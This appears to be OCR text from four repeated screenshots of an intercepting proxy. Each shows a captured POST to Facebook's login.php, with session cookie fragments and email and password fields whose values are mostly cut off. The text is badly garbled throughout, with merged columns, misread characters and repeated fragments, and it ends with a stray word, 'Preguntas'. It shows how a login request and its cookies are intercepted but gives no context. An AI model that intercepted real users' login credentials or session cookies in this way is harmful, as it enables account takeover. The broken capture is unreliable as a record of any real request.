| S93 Req Raw Cont Cont Cont Cont Cont Cont Cont Cont | https://www.facebook.com uest Response v Params Headers Hex ent-Type: application pt-Encoding: gzlp, dd : www.facebook.com ent-Length: 708 ection: Keep-Alive e-Control: no-cache ie: datr=f06yVP1NLID: UD2MmInUOuwdk0J3.AWV fb_ref=httpst3At2Ft; xSREvRdobbmDBHQ2Ao4c2 Tb_gate=httpst3At2Ft; xSREvRdobbmDBHQ2Ao4c3 AV71eQuN&email= utP&lgmjs=1420971951; MsHxLDMzOCwsNDAsHzQ21 YEMywZNjYSNjgzLbcwMy | POST //x-www- flate KsG5IB9 sfptWE_ www.fac ICjn4N6h MCjn4N6 locale= DM2OCwz | /Jogin.php?login_attempt=1 //ogin.php?login_attempt=1 form-urlencoded //sspeHHPvblkXTulT.BUsk7X.Kx.F ebook.com%2F%3Fstype%3Dlo%2 cgsAA%26smuh%3D43626%261h%3 ebook.com%2F%3Fstype%3Dlo%2 hzQsAA%26smuh%3D43626%261h%3 @ hotmail.com&pass= @ hotmail.com&pass= % LA&qsstamp=W1tbN1w3Dw3JQQ NzgsM2xSLDQwMywOMDUsNDM3LDQ1 viQVpsS2PN01DcmxpUCSMW11BbD | Sy.O.A Jlou*3 Ac_za- 6jlou* DAc_za wSMCwS OCwOOT hzQVB3 | WUL_1C- DAfczmy 2It-Rni 3DAfczm -2It-Rn MCwxMDM QeNTAyL NnBpbHp | ; lu=RA -rwPBHP AhY; y-rwPBH iAhY default sMTELLD DUwMyw1 GUV20SM | rmuaul67 wpMdBId2 PwpMdBId2 Persist EOMSwxNN MDQsNTM3 xmdUZLV2 | 77E38tqOZ 1U3uNLLF 1U3uNLLF tent=0&tin 0ksMTYxLD 1LDUONCw1 NpeDUOd3 | php bfcF6g; OmER1L5HF pOmER1L5HF pOmER1L5HF E40CwyNjA NTYsNTc21 NTYsNTc21 | RZGVRKUhS 6N 1) HRZGVRKUhS 6N 60 6 1 gnrnd=02: AsMj YSLDMXMi "DYWRC 22 MD Usj 10b HBre 6FmR 1. | kZ lk 25 wz JJ |
| S93 Req Raw Cont- Acce Host Cont- Co | https://www.facebook.com uest Response v Params Headers Hex ent-Type: application pt-Encoding: gzip, dd : www.facebook.com ent-Length: 708 ection: Keep-Alive e-Control: no-cache ie: datr=f06yVP1NLID: UD2MmINUOuvdk0J3.AWV fb ref=httpsi3A%2F%2I SREvRdobbmDBHQ2A04c2I bg gate=httpsi3A%2F%2I SREvRdobbmDBHQ2A04c2I AVr1eQuN&email= utP&lgnjs=1420971951. M=MxLDMz0CwNDABMzQ2DowMy RmJyTW9ab2cyZW50UW9a | POST //x-WWW- flate KsG5IB9 sfptWE_ www.fac ICjn4N6h Fww.fac ICjn4N6h Fww.fac ICjn4N6h YusMc1ac MCjn4N6 YusMc1ac WISMc1x | /login.php?login_attempt=1 //ogin.php?login_attempt=1 form-urlencoded //ogin_urlenco | Sy. O. A Jac_za- 6jlout DAc_za wSMCwS OCwDOT hzQVB3 TmVNR1 | WUL_ic- DAfczmy 2It-Rni 3DAfczm -2It-Rn KCwxHDM QSNTAyL NCWxHDM QSNTAyL NnBpbHpJ JWRFZOc | ; lu=RA -rwP6HP AhY; y-rwP8H iAhY default sMTE1LD DUWHyw1 GU120Sm kc4WE5P | rmuaul6V wpMdBId2 PwpMdBId2 Porsist EOMSwxNI MDCsNTM xmdUZLV b1RHe1Rs | 77E38tq021 1U3uNLLF 1U3uNLLF alU3uNLLF cent=0&tin 0ksMTYxLD hDbwMTYxLD aR0tUVGsw | php bfcF6g; OmER1L5HF pOmER1L5HF E4OCwyNjA NTYSNTc21 VneTFREE QjRVb0JBc | RZGVRKUhS 6N 1) HRZGVRKUhS 6N 50 6 1 gnrnd=02: As Mj YSLDMx Mi 10 HBre 67 mR1. 10 HBre 67 mR1. 10 HBre 57 mI | kZ lk 25 wz Nj JW R1 |
| S93 Req Ray Conto Acces Host Conto C | https://www.facebook.com uest Response v Params Headers Hex ent-Type: application pt-Encoding: gzip, dd : www.facebook.com ent-Length: 708 ection: Keep-Alive e-Control: no-cache ie: datr=f06yVP1NLID: DD2MmImUouwdk033.AWV fb_ref=https%3A%2F%21 SREvRdobbmDBHQ2A04c21 b_gate=https%3A%2F%21 SREvRdobbmDBHQ2A04c21 AVr1eQuN&email= utP&1gnjs=1420971951. MEM&LDM20CwNDAsK2Q21 Y2Myw2NjYSNjgzLDcwMyy RmJyTWab2cyZW50UW9a' 1PQWpDemF62jFEQOdNa1 | POST //x-WWW- flate //x-WWW- flate //yww.fac (Cjn4N6h FWW.fac MCjn4N6 //yww.fac Cjn4N6h //yww.fac | /login.php?login_attempt=1 //ogin.php?login_attempt=1 form-urlencoded //ogin.php?login_attempt=1 //ogin.php?login_attempt=1 //ogin_urlencoded //ogin_urlenco | Sy.O.A jlou%3 Ac_za- 6jlou% DAc_za W5MCW5 OCwOOT hzQVB3 TmVNR1 04dm8w | WUL_ic- DAfczmy 2It-Rni 3DAfczm -2It-Rn KCwxHDM QsNTAyL NCwxHDM QsNTAyL JwRFZOG STFCHGR | ; lu=RA -rwP8HP AhY; y-rwP8H iAhY default sMTE1LD DUwMyw1 gV120Sm kc4WE5P MZ226MG | 1458 rmuaul 67 wpMdBId: PwpMdBId: PwpMdBId: DoswaNI MDQsNTM; xmdUZLV: bIRE1RS d2X3pGNT | 77E38tq021 103uNLLFp 1103uNLLFp 1103uNLLF; cent=0&ti 10csMTYxLD 2Np=DU0d3 SNp=DU0d3 SNp=DU0d3 SNp=DU0d3 | php bfcF6g; OmER1L5HF pOmER1L5HF pOmER1L5H pOmER1L5H pOmER1L5H pOmER1L5H pOmER1L5H pOmER1L5H pOmER1L5H pOmER1L5H pDUD5H QJRVbDJBd JPdUd3a¥4 | RZGVRKUhS 6N 11 HRZGVRKUhS 6N 60 & 1 gnrnd=02: Ashj YSLDMx Mi DD HBreGFRD 10D HBreGFRU 10D HBreGFRU 10M XZXCS YW 1 wi 4xSOVRVGS 1 QS | kZ lk 25 WZ Nj JW R1 Ja |
| S93 Req Raw onte cost onte onte onte cost cost co | https://www.facebook.com uest Response v Params Headers Hex ent-Type: application pt-Encoding: gzip, dd : www.facebook.com ent-Length: 708 ection: Keep-Alive e-Control: no-cache ie: datr=f06yVP1NL1D DDZMmIMOuwdk033.AWV fb_ref=https%3A%2F%21 SREvRdobbmDBHQ2A04c21 fb_gate=https%3A%2F%21 SREvRdobbmDBHQ2A04c21 AVr1eQuN&email= utP&lgmjs=1420971951. M=MxLDMacCwMDAsMzQ21 Y2MyW2NjYSNjg2LDcWMya IPQWpDemF6ZjFEQOdNalo | POST //x-www- flate //x-www-falate //yww.fac //ywww.fac //yww.fac //yww.fac //yww.fac //yw | /Josin.php?login_attempt=1 //ogin.php?login_attempt=1 form-urlencoded //ogin.php?login_attempt=1 //ogin_attempt=2 //ogin_atte | Sy.O.A jlou%3 Ac_za- 6jlou% DAc_za wSMCwS ocwOOT hzQVB3 ThvNR1 04dm8w | WUL_ic- DAfczmy 2It-Rni 3DAfczm -2It-Rn QSNTAyL NNBPBH JWR7ZOC STFCMGR | ; lu=RA -rwP8HP AhY; y-rwP8H iAhY default sMTE1LD DUwMyw1 GV12OSm Kc4WE5P MZ226MG | rmuaul67 wpMdBId2 PwpMdBId2 E0MSwxNI MDQsNTMy xmdU2LV2 b1RHe1Rs d2X3pGN7 | 77E38tq02l 77E38tq02l 103uNLLFp 1103uNLLFp 1103uNLLF; cent=0&tin 0ksMTYxLD pLDUONCw11 2NpeDU0d3 8R0tUVGsw FJZb1FLQm | php bfcF6g; OmER1L5HF pOmER1L5HF pOmER1L5HF pOmER1L5H vneTRcEu VneTRcEu UneTRcEu UneTRcEu JPdUd3aW4 | RZGVRKUhS 6N 1) HRZGVRKUhS 6N 50 & 1 gnrnd=02: AsMj YSLDMxMi Dy MC w2 MD Usj 10b HBre GFmR1. JOM x ZX 55 VW 1 wj 4xS0VRVG 5 I QS | kZ lk 25 WZ Njj JW R1 Jd |

Preguntas

